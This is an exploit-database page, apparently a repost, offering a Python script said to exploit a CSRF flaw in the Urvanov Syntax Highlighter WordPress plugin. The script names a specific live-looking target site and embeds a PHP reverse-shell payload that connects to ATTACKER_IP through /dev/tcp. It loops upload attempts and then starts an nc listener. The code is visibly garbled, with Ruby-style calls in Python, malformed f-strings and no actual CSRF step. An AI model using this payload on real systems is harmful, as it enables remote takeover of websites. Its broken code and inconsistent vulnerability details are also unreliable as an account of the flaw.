Advertisement






Urvanov Syntax Highlighter < = 2.8.33 - Highlighting Blocks Mgt via CSRF

CVE Category Price Severity
N/A CWE-352 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2023-10-27
CVSS
CVSS:4.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023100056

Below is a copy:

Urvanov Syntax Highlighter <= 2.8.33 - Highlighting Blocks Mgt via CSRF
import requests
import os
import time
 
# The target URL where the Urvanov Syntax Highlighter plugin is installed
url = 'http://www.adroom.ir/wp-admin/admin-ajax.php'
 
# Your PHP shell payload
payload = '''
<?php
exec('/bin/bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1\'');
?>
'''
 
# Your attacker IP and port
attacker_ip = 'ATTACKER_IP'
attacker_port = ATTACKER_PORT
 
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Requested-With': 'XMLHttpRequest'
}
 
# Sending the exploit
for i in range(1, 1000):
    data = {
        'action': 'highlight_shortcode_editor_blocks',
        'code': f'<pre>${i.to_s().rjust(4, "0")}.{payload}}</pre>'
    }
 
    response = requests.post(url, headers=headers, data=data)
    print(f'Attempt {i}: {response.text}')
 
    if response.text == 'ok':
        print(f'Shell uploaded at: {i.to_s().rjust(4, "0")}.php')
        break
 
# Set up a listener on your attacker machine to catch the reverse shell
os.system(f'nc -lvp {attacker_port}')
 
 
 
 
 
 
 
 
 
 
source :  https://www.sololearn.com/compiler-playground/cVoq838SsN5j

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.